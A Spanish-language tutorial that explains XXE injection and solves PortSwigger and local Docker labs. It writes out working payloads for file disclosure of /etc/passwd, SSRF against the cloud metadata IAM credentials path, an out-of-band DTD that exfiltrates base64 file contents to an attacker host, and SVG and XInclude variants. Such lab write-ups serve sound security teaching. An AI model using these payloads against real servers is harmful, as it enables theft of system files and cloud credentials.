🛰️XML External Entity Injection

Explicación acerca de XML External Entity (XXE) Injection

Copyright © 2010-2025 Freepik Company S.L.

📋 Índice de Contenido

🧨¿Qué es XXE?

Las inyecciones XXE (XML External Entity) ocurren cuando un servidor no realiza una correcta sanitización o validación al procesar entradas en formato XML. Esta vulnerabilidad permite a un atacante aprovecharse del uso de entidades externas definidas dentro del XML para inyectar comandos maliciosos, lo que puede derivar en el acceso no autorizado a archivos del sistema, ejecución de código, denegación de servicio, entre otros impactos.

Antes de profundizar en la vulnerabilidad XXE, es importante comprender qué es XML (Extensible Markup Language).

XML es un formato de texto estructurado diseñado para almacenar y transportar datos de manera legible tanto para humanos como para máquinas. Aunque su sintaxis es similar a la de HTML, su propósito principal no es mostrar contenido en una página web, sino organizarlo y estructurarlo de forma lógica y jerárquica para facilitar su interpretación por diferentes sistemas y aplicaciones.

<usuario>
  <nombre>Ejemplo</nombre>
  <email>ejemplo@example.com</email>
</usuario>

Otro homólogo que cumple una función similar a XML es JSON (JavaScript Object Notation). JSON también está diseñado para estructurar y transportar datos entre sistemas, y su principal objetivo es facilitar la interpretación de dicha información de manera clara y eficiente.

A diferencia de XML, JSON tiene una sintaxis más ligera y sencilla, lo que lo convierte en una opción muy popular, especialmente en aplicaciones web modernas. Su estructura basada en pares clave-valor permite una representación más concisa de los datos, favoreciendo su uso en entornos donde el rendimiento y la legibilidad son prioritarios.

🔧¿Cómo funciona?

📦Entidades

La funcionalidad que permite, desde el punto de vista del atacante, explotar vulnerabilidades de tipo XXE son las entidades.

En XML, una entidad es un mecanismo que permite definir un contenido reutilizable dentro del documento. Puede entenderse como una especie de “variable” que se puede invocar en distintas partes del XML, facilitando así la reutilización y organización del contenido.

Existen varios tipos de entidades, entre las cuales se destacan:

  • Entidades predefinidas
  • Entidades internas personalizadas
  • Entidades externas

El mal uso o la falta de validación de estas entidades, especialmente las externas, es lo que da lugar a las vulnerabilidades XXE.

🔤Entidades predefinidas

Las entidades predefinidas son caracteres especiales que no pueden utilizarse directamente en un documento XML, ya que formarían conflicto con la sintaxis del propio lenguaje. Para evitar errores de interpretación, estos caracteres se representan mediante entidades específicas.

Entidad Significado
&lt; <
&gt; >
&amp; &
&quot;
&apos;

Estas entidades aseguran que el contenido se procese correctamente sin interferir con la estructura del documento XML.

📝Entidades internas personalizadas

Las entidades internas personalizadas permiten al autor del documento XML definir sus propias referencias a datos, que pueden ser reutilizadas en distintas partes del documento.

Se definen mediante la siguiente estructura:

<!ENTITY nombre "Ejemplo">

Este tipo de entidad se suele declarar dentro de una sección DOCTYPE, y su uso en un documento XML completo se vería así:

<!DOCTYPE datos [
  <!ENTITY nombre "Ejemplo">
]>
<mensaje>&nombre;</mensaje>

En este ejemplo, donde se encuentra &nombre;, el procesador XML reemplazará dicha referencia por el valor "Ejemplo". Este mecanismo facilita la reutilización de contenido dentro del documento y es una característica central de cómo XML maneja datos estructurados.

Las entidades externas son el tercer tipo de entidad en XML y constituyen el principal vector de ataque en las inyecciones XXE. A diferencia de las entidades internas, estas pueden referenciar recursos externos al documento, como archivos locales del sistema o URLs remotas.

Un ejemplo de una entidad externa sería:

<!DOCTYPE datos [
  <!ENTITY archivo SYSTEM "file:///etc/passwd">
]>
<contenido>&archivo;</contenido>

En este caso, la palabra clave SYSTEM indica que se está declarando una entidad externa, y el valor entre comillas representa la ubicación del recurso externo. En el ejemplo anterior, se intenta acceder al archivo sensible /etc/passwd de un sistema Unix.

Si el servidor que procesa este XML no cuenta con las medidas de seguridad adecuadas, puede terminar leyendo e incluyendo el contenido del archivo especificado, lo cual puede comprometer seriamente la seguridad del sistema.

🧩DTD - Document Type Definition

El DTD (Document Type Definition) es una parte fundamental de un documento XML que define su estructura y las reglas que deben seguirse. Especifica qué elementos pueden utilizarse, qué atributos pueden tener dichos elementos, y también permite la definición de entidades, tanto internas como externas.

En el contexto de las inyecciones XXE, el uso del DTD es imprescindible, ya que las entidades deben declararse dentro de él. Sin la inclusión de un DTD en el documento XML, no sería posible declarar ni utilizar entidades personalizadas o externas.

El DTD puede integrarse de dos maneras:

  • Internamente, dentro del propio archivo XML.
  • Externamente, mediante una referencia a un archivo DTD separado.

La estructura básica de un DTD interno es la siguiente:

<!DOCTYPE foo [
  <!ELEMENT ...>
  <!ATTLIST ...>
  <!ENTITY ...>
]>

💉Tipos de XXE injection

Existen distintos tipos de ataques basados en inyecciones XXE, cada uno con objetivos y mecanismos distintos. A continuación, se listan los más relevantes:

  • XXE File Disclosure: Permite acceder al contenido de archivos locales en el sistema donde se ejecuta el procesador XML.
  • SSRF via XXE: Utiliza la vulnerabilidad para enviar peticiones a recursos internos de la red mediante la inclusión de URLs externas en entidades.
  • XXE Out-Of-Band (OOB): Exfiltra datos utilizando canales externos, como una URL bajo control del atacante, útil cuando no hay respuesta directa en la aplicación.
  • XXE via Image: Embebe una carga maliciosa en el contenido de una imagen para aprovechar sistemas que procesan imágenes como XML.
  • XXE via XInclude: Variante del XXE que utiliza la característica XInclude de XML para incluir contenido externo en el documento procesado. Es un caso especial, pero también explotable.

Para ilustrar de forma más gráfica y práctica todo lo explicado, se resolverán los laboratorios de PortSwigger enfocados en vulnerabilidades XXE, los cuales permiten explorar en profundidad cada tipo de ataque mencionado.

📄XXE File Disclosure

Para explicar esta categoría de inyección XXE, utilizaremos el laboratorio 1 de PortSwigger, que nos permite explorar diferentes enfoques para explotar esta vulnerabilidad. El caso más sencillo ocurre cuando el servidor es vulnerable a inyecciones XXE y, además, interpreta y refleja el contenido del documento XML en la respuesta. En este laboratorio, el objetivo es leer el archivo /etc/passwd mediante la inyección de una entidad externa en el DTD del XML.

La petición inicial, que capturamos con Burp Suite, muestra cómo se envía el documento vulnerable para lograr la explotación.

Como se puede apreciar, existe un documento XML encargado de enviar la información necesaria para que el servidor la procese posteriormente.

A partir de esta base, procederemos a manipular el DTD con el fin de inyectar una entidad maliciosa que nos permita leer el contenido del fichero /etc/passwd.

<!DOCTYPE foo [ <!ENTITY file SYSTEM "file:///etc/passwd">]>

Para que el contenido del fichero aparezca reflejado en la respuesta del servidor, referenciarremos la entidad file en uno de los campos de datos del XML.

Como se puede apreciar en la respuesta, obtenemos el contenido del fichero /etc/passwd en el lugar donde normalmente se recibiría la respuesta nativa del servidor.

Sin embargo, este mismo vector de explotación puede verse afectado por dos factores. El primero es que el servidor no permita la referencia a entidades dentro de sus campos de información, y el segundo es que el wrapper file:// no funcione, lo que obligaría a utilizar otro método para acceder al recurso deseado.

Referencia a entidades dentro del DTD

En el caso de que el servidor no permita referencias a entidades dentro de los campos XML, es posible insertar la referencia directamente en el DTD para que esta también sea procesada. Esta técnica se realiza de la siguiente manera:

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file;]>

Si enviamos este nuevo DTD al servidor, obtendremos la misma respuesta, logrando así la lectura del contenido deseado.

Diferentes tipos de wrappers

Puede darse el caso de que el servidor sea vulnerable a inyecciones XXE, pero que el wrapper utilizado falle, por lo que sea necesario emplear otro. Los wrappers más comunes son:

  • file://
  • php://filter/convert.base64-encode/resource=
  • expect:// (Este wrapper se utiliza para intentar ejecutar comandos en el servidor, aunque suele estar bloqueado por defecto)

Por ello, es fundamental probar diferentes wrappers en caso de que uno no funcione, para maximizar las posibilidades de explotación.

🌐SSRF via XXE

Las inyecciones XXE también permiten realizar ataques de SSRF (Server-Side Request Forgery). Para ilustrar este tipo de ataque, utilizaremos el laboratorio 2 de PortSwigger.

En este laboratorio, se nos indica que ataquemos la dirección IP http://169.254.169.254/ con el fin de obtener información confidencial. Para lograrlo, insertaremos la siguiente entidad maliciosa dentro del DTD:

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "http://169.254.169.254/"> %file;]>

Si enviamos la petición con ese DTD malicioso, obtenemos la siguiente respuesta:

Como se puede apreciar, la respuesta indica que el ID: latest no existe. Esto nos señala que el siguiente directorio bajo la IP a la que estamos atacando se llama latest.

Si modificamos la ruta a http://169.254.169.254/latest y enviamos la petición, obtenemos la siguiente respuesta:

Siguiendo este proceso de forma iterativa, finalmente somos capaces de realizar una petición a http://169.254.169.254/latest/meta-data/iam/security-credentials/admin y obtener la información privada.

🔄XXE Out-Of-Band (OOB)

Puede darse el caso de que el servidor procese las entidades maliciosas, pero que la información extraída no se refleje directamente en la respuesta del servidor. En estos escenarios, se recurre a las inyecciones Out-Of-Band (OOB) para exfiltrar datos mediante canales externos.

Por motivos de seguridad, PortSwigger restringe el acceso a los laboratorios relacionados con esta técnica únicamente a usuarios con la versión de pago de Burp Suite. Como alternativa, podemos montar un laboratorio local utilizando Docker, el cual se puede descargar en GitHub.

Una vez configurado nuestro entorno local, nos encontraremos con un formulario que deberemos vulnerar para llevar a cabo el ataque.

Como se mencionó anteriormente, este tipo de inyecciones se caracteriza porque no muestran ninguna información en el lado del servidor, por lo que será necesario configurar un servidor propio para llevar a cabo la explotación.

En primer lugar, para comprobar si es posible realizar peticiones desde la máquina víctima hacia nuestra máquina atacante, podemos poner nuestro equipo en escucha utilizando Python y enviar una petición HTTP mediante la siguiente entidad:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.0.2.15:4000/"> %xxe;]>

Al analizar nuestro servidor en Python, podemos confirmar que sí existe conexión con la máquina víctima.

A raíz de esto, podemos crear una entidad maliciosa alojada en nuestra máquina, provocar que la víctima realice una petición hacia dicha entidad y observar la respuesta en nuestro servidor. La entidad maliciosa tiene la siguiente estructura:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.0.2.15:4000/?file=%file;'>">
%eval;
%exfil;

📌 Notas

  • Es recomendable utilizar el wrapper php://filter/convert.base64-encode/resource=, ya que otros wrappers como file:// pueden no funcionar en ciertos casos.
  • Dado que estamos almacenando en la entidad eval otra entidad completa, es aconsejable representar el símbolo % en formato hexadecimal (&#x25;) para evitar conflictos durante la interpretación.
  • Se debe tener cuidado al referenciar las entidades, ya que la entidad exfil no existirá hasta que la entidad eval haya sido referenciada previamente.

Una vez creado este fichero malicious, insertamos la siguiente entidad en el XML del servidor para que realice una petición a este recurso:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.0.2.15:4000/malicious"> %xxe;]>

Por otro lado, en nuestro servidor podemos observar el siguiente patrón:

Se observa una primera solicitud al recurso malicious y una segunda entrada, esta vez con el fichero /etc/passwd de la víctima. Todo esto es posible gracias a las dos entidades creadas previamente.

Ahora solo queda copiar la cadena recibida y decodificarla de base64 a texto legible.

De esta manera, hemos sido capaces de leer el fichero incluso cuando el servidor no nos lo devolvía directamente en la respuesta.

🖼️XXE via image

Otra posible vía para realizar una inyección XXE es a través de un campo de subida de imágenes que no cuente con una sanitización adecuada. Para ilustrar este caso, resolveremos el laboratorio 8 de PortSwigger y utilizaremos también el repositorio PayloadsAllTheThings de GitHub.

En este escenario, nos enfrentamos al siguiente cuestionario:

Podemos suponer que no se está validando correctamente si el archivo que se sube es realmente una imagen, por lo que es posible crear un archivo con extensión .svg que contenga un payload malicioso extraído del repositorio de GitHub.

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Cabe destacar que el payload debe estar contenido en una sola línea, ya que de lo contrario podría generar errores en ciertos casos.

Si ahora rellenamos todos los campos correspondientes y enviamos el formulario, parecerá que no ha ocurrido nada. Sin embargo, esto no es así, ya que si abrimos la imagen subida en una nueva pestaña o la descargamos, observaremos algo extraño.

Como se puede apreciar, el nombre mostrado es inusual, pero corresponde al nombre del host, ya que en este caso estábamos leyendo el archivo /etc/hostname.

🔗XXE via XInclude

En este último tipo de inyecciones XXE, nos encontramos con un caso más bien aleatorio, en el que no se aprecia ninguna estructura XML clara, pero aún así es posible intentar insertar un payload malicioso. Nuevamente, utilizaremos el repositorio de GitHub PayloadsAllTheThings y emplearemos el siguiente payload:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Una vez más, utilizaremos un laboratorio de PortSwigger, donde en esta ocasión la petición tiene la siguiente estructura:

Como se puede observar, no se aprecia ningún tipo de estructura XML ni elementos similares, pero podemos intentar aprovechar la vulnerabilidad. Para ello, utilizaremos el payload mencionado anteriormente e insertaremos su contenido en uno de los dos valores disponibles.

Como se aprecia en la respuesta del servidor, la petición ha sido interpretada correctamente y hemos obtenido el fichero /etc/passwd que solicitamos.


Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.